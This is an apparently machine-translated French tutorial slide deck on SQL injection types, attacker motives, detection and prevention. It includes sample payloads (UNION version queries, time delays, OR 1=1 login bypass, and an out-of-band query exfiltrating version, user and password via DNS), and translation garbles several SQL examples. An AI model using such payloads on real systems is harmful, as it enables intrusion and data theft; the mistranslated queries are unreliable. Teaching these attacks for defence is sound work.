Machine Translated by Google
INJECTION SQL
PAR : AJOY SARKAR
Machine Translated by Google
QU'ESTCE QUE L'INJECTION SQL
L'injection SQL (SQLi) est une vulnérabilité de sécurité Web qui
permet à un attaquant d'interférer avec les requêtes qu'une
application effectue sur sa base de données.
SQL Injection (SQLi) est un type de cyberattaque qui injecte
code SQL malveillant dans une application.
En injectant ces codes SQL malveillants, l'attaquant peut voir
et modifier la base de données.
Machine Translated by Google
TYPES D'INJECTION SQL
Il existe généralement trois types d'injection SQL :
Injection SQL intrabande.
Injection SQL inférentielle.
Injection SQL hors bande.
Machine Translated by Google
TYPES D'INJECTION SQL
Machine Translated by Google
TYPES D'INJECTION SQL
Injection SQL intrabande : il s'agit du type d'injection SQL le plus couramment
utilisé. Dans cette méthode, l'attaquant utilise le même canal de communication
pour l'attaque afin de collecter les résultats.
Dans cette méthode pour modifier la requête d'origine et recevoir les résultats directs de la requête
modifiée. Supposons par exemple que la requête soit destinée à renvoyer les données personnelles
de l'utilisateur actuel et à les afficher à l'écran.
Requête par défaut : SELECT * FROM users WHERE user_id LIKE 'current_user'
Requête modifiée : SELECT * FROM users WHERE user_id LIKE '%'current_user''
L'injection SQL intrabande est divisée en deux parties : l'injection SQL basée sur les erreurs,
l'injection SQL basée sur l'Union.
Machine Translated by Google
INJECTION SQL INBANDE
Injection SQL basée sur les erreurs : l'injection SQL basée sur les erreurs est
un soustype d'injection SQL intrabande où le résultat renvoyé à l'attaquant est
une chaîne d'erreur de base de données.
Requête par défaut : SELECT * FROM utilisateurs WHERE user_id = 'current_user'
Requête modifiée : SELECT * FROM users WHERE user_id = '1'' (Le guillemet simple doublé au
la fin de la requête provoque le signalement d'une erreur par la base de données)
En conséquence : Vous avez une erreur dans votre syntaxe SQL ; consultez le manuel qui correspond à la version de votre
"'
serveur MySQL pour connaître la bonne syntaxe à utiliser près de Attention : à la ligne 1
mysql_fetch_array() s'attend à ce que le paramètre 1 soit une ressource, un booléen
donné dans /hj/var/www/[Link] à la ligne 37
En conséquence, l'attaquant voit immédiatement que l'application utilise une base de
données MySQL et peut se concentrer sur des attaques spécifiques à MySQL.
Machine Translated by Google
INJECTION SQL INBANDE
Injection SQL basée sur l'union : l' injection SQL basée sur l'union est un soustype
d'injection SQL intrabande où l'attaquant utilise la clause UNION SQL pour recevoir un
résultat qui combine des informations légitimes avec des données sensibles.
Requête par défaut : SELECT * FROM utilisateurs WHERE user_id = 'current_user'
Requête modifiée : SELECT * FROM utilisateurs WHERE user_id = '1' UNION
SELECTversion(),current_user()' (Les fonctions version et current_user dans MySQL renvoient la version de
la base de données et le nom de l'utilisateur actuel du système d'exploitation)
En conséquence : 5.1.730ubuntu0.10.04.1
mysql@localhost
l'application utilise une base de données MySQL 5.1.73 sur le système d'exploitation
système Ubuntu 10.04.1, la base de données est accessible à l'aide du compte
utilisateur du système d'exploitation « mysql ».
Machine Translated by Google
TYPES D'INJECTION SQL
Injection SQL inférentielle : Elle est également appelée injection SQL aveugle. Dans cette méthode,
l'attaquant peut en apprendre davantage sur la structure du serveur en envoyant des charges utiles de
données et en observant la réponse.
L'injection SQL aveugle est presque identique à l'injection SQL normale, la seule
différence étant la manière dont les données sont récupérées de la base de
données. Lorsque la base de données ne génère pas de données sur la page
Web, un attaquant est obligé de voler des données en posant à la base de
données une série de questions vraies ou fausses.
L'injection SQL intrabande est divisée en deux parties : Booléenne
Injection basée sur le temps, injection basée sur le temps.
Machine Translated by Google
INJECTION SQL INFÉRENTIELLE
Injection SQL booléenne : l' injection SQL aveugle basée sur booléenne est un soustype d'injection SQL
aveugle dans laquelle l'attaquant observe le comportement du serveur de base de données et de l'application
après avoir combiné des requêtes légitimes avec des données malveillantes à l'aide d'opérateurs booléens.
Requête par défaut : SELECT * FROM products WHERE id = product_id
(Si cette requête est exécutée dans l'application en utilisant une simple concaténation de chaînes, la requête devient
respectivement)
Requête modifiée : SELECT * FROM products WHERE id = 42 et 1=1
SELECT * FROM produits WHERE id = 42 et 1=0
Si l'application se comporte différemment dans chaque cas, elle est susceptible de
Injections SQL aveugles basées sur des booléens.
Machine Translated by Google
INJECTION SQL INFÉRENTIELLE
Injection SQL basée sur le temps : L' injection SQL aveugle basée sur le temps est un soustype
d'injection SQL aveugle dans laquelle l'attaquant observe le comportement du serveur de base
de données et de l'application après avoir combiné des requêtes légitimes avec des commandes
SQL qui entraînent des retards.
Requête par défaut : SELECT * FROM products WHERE id = product_id
Requête modifiée : SELECT * FROM products WHERE id = 1; RETARD D'ATTENTE '0:0:10'
(Un pirate informatique malveillant peut fournir la valeur product_id suivante : 42 ; WAITFOR DELAY '0:0:10')
Si le serveur de base de données est Microsoft SQL Server et que l'application est
sensible aux injections SQL aveugles basées sur le temps, l'attaquant verra un message 10
deuxième retard dans la demande.
Machine Translated by Google
TYPES D'INJECTION SQL
Injection SQL hors bande : C'est le type d'injection SQL le moins couramment utilisé, dans cette
méthode l'attaquant utilise les différents canaux de communication de l'attaque pour collecter les
résultats.
Les attaquants utilisent ces méthodes si un serveur est trop lent ou instable pour être utilisé
Injection inférentielle ou injection intrabande.
L'injection SQL hors bande n'est possible que si le serveur que vous utilisez
using contient des commandes qui déclenchent des requêtes DNS ou HTTP.
Requête modifiée : SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',
(SELECT+utilisateur),'.', (SELECT+mot de passe),'.',[Link]\\[Link]'))
Cela amènera l'application à envoyer une requête DNS au domaine,
Machine Translated by Google
POURQUOI L'INJECTION SQL
raisons pour lesquelles les pirates utilisent l'injection SQL :
Accès non autorisé : en injectant des instructions SQL malveillantes, les attaquants peuvent obtenir un
accès non autorisé à une base de données ou une application. Cela leur permet d'afficher, de modifier ou
de supprimer des données.
Vol de données : l'injection SQL peut être utilisée pour extraire des informations sensibles d'une base de
données, telles que des noms d'utilisateur, des mots de passe, des numéros de carte de crédit ou d'autres
informations personnelles.
Manipulation des données : les pirates peuvent injecter des instructions SQL pour manipuler les données
dans la base de données. Cela implique de modifier les enregistrements, de modifier les soldes des
comptes ou de modifier les données stockées dans la base de données.
Machine Translated by Google
POURQUOI L'INJECTION SQL
raisons pour lesquelles les pirates utilisent l'injection SQL :
Contournement de l'authentification : l'injection SQL peut être utilisée pour contourner les mécanismes
d'authentification en incitant l'application à accepter des informations d'identification non autorisées.
Déni de service (DoS) : les attaques par injection SQL peuvent être utilisées pour perturber le
fonctionnement normal d'une base de données ou d'une application en provoquant son ralentissement
ou son crash.
Tests de sécurité : dans certains cas, des pirates informatiques éthiques ou des professionnels de la
sécurité utilisent l'injection SQL comme méthode pour identifier et corriger les vulnérabilités d'un système.
Cela fait partie des tests d’intrusion visant à renforcer la sécurité d’une application.
Machine Translated by Google
COMMENT L'INJECTION SQL
Comment trouver les vulnérabilités pour l'injection SQL :
Champs de saisie : les pirates se concentrent sur les champs de saisie des formulaires Web, tels que
les formulaires de connexion, les champs de recherche et les formulaires d'inscription des utilisateurs.
Ils tentent d'injecter du code SQL dans ces champs pour voir si l'application est vulnérable.
Tests basés sur les erreurs : les attaquants fournissent intentionnellement des entrées qui déclenchent
des erreurs SQL. Les messages d'erreur générés par la base de données peuvent révéler des
informations sur la structure sousjacente de la base de données.
Tests aveugles basés sur le temps : les attaquants injectent des instructions SQL qui provoquent des
retards (par exemple, en utilisant la fonction « SLEEP »). Ils analysent le temps de réponse de
l'application pour déterminer si l'injection a réussi.
Machine Translated by Google
COMMENT L'INJECTION SQL
Comment trouver les vulnérabilités pour l'injection SQL :
Tests booléens : les attaquants utilisent des conditions booléennes pour déduire si une
condition particulière est vraie ou fausse. En observant la réponse de l'application, ils
peuvent déduire des informations sur la structure de la base de données.
Requête par défaut :
SELECT * FROM user WHERE username= 'admin' AND password = 'pass123' ;
Requête avec payload :
SELECT * FROM utilisateur WHERE nom d'utilisateur = ' ' OU 1=1 ' ET mot de passe = 'admin' ;
Outils utilisés pour l'injection SQL : SQL map, Invicti, Burp Scanner etc.
Machine Translated by Google
EMPÊCHER LES INJECTIONS SQL
Comment empêcher l'injection SQL :
Il n'existe pas de technique spécifique de prévention SQLi, elle sera différente
en fonction du serveur Web, de la langue, des versions, etc.
Utilisation de préparé Utilisation correcte
Déclarations Construit
(Requêtes paramétrées) Procédures stockées
FORTEMENT
Liste verte DÉCOURAGÉ
Validation des entrées (Accepter tous les utilisateurs
Entrée fournie)
Machine Translated by Google
EMPÊCHER LES INJECTIONS SQL
Dans cette présentation, nous avons expliqué ce qu'est l'injection SQL avec
tous les différents types de techniques d'injection SQL. Nous avons également
abordé certaines requêtes SQL et leur fonctionnement. Nous apprenons
également pourquoi les cyberattaquants utilisent l'injection SQL et quelles
mesures devonsnous prendre pour l'empêcher.
Machine Translated by Google
MERCI
Machine Translated by Google
SELECT * FROM utilisateur OÙ nom d'utilisateur = 'admin' ET mot de passe = 'password123'
Machine Translated by Google
SELECT * FROM utilisateur OÙ nom d'utilisateur = 'admin' ET mot de passe = 'password123'
' ' ' '
Requête : nom d'utilisateur = ET mot de passe =
Machine Translated by Google
SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin' 'ET mot de passe = 'password123'
Machine Translated by Google
SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin' 'ET mot de passe = 'password123'
'
'' erreur de chaîne
Erreur de syntaxe qui signifie qu'il est vulnérable au SQLi
Machine Translated by Google
Maintenant, utilisez une charge utile
SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin' OU '1'='1'AND mot de passe ='password123'
Il traitera d'abord le ET puis le OU
Machine Translated by Google
Machine Translated by Google
SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin''AND mot de passe = 'password123''
Payload : ' qui fait office de commentaire, supprime le besoin de mot de passe
Machine Translated by Google